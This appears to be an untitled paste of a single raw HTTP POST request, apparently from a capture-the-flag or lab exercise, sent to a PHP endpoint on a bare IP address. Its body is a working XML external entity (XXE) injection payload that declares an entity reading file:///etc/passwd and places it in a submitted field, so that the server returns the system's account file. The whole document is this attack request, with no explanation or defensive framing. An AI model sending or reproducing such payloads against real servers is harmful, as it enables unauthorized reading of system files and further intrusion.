Untitled

POST /Corgi//alpha/boot/g0tme.php HTTP/1.1
Host: 34.70.152.237
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 167
Connection: close
Referer: http://34.70.152.237/Corgi//alpha/boot/f21.html

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE html [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

<uservalue>
<value>&xxe;</value>
</uservalue>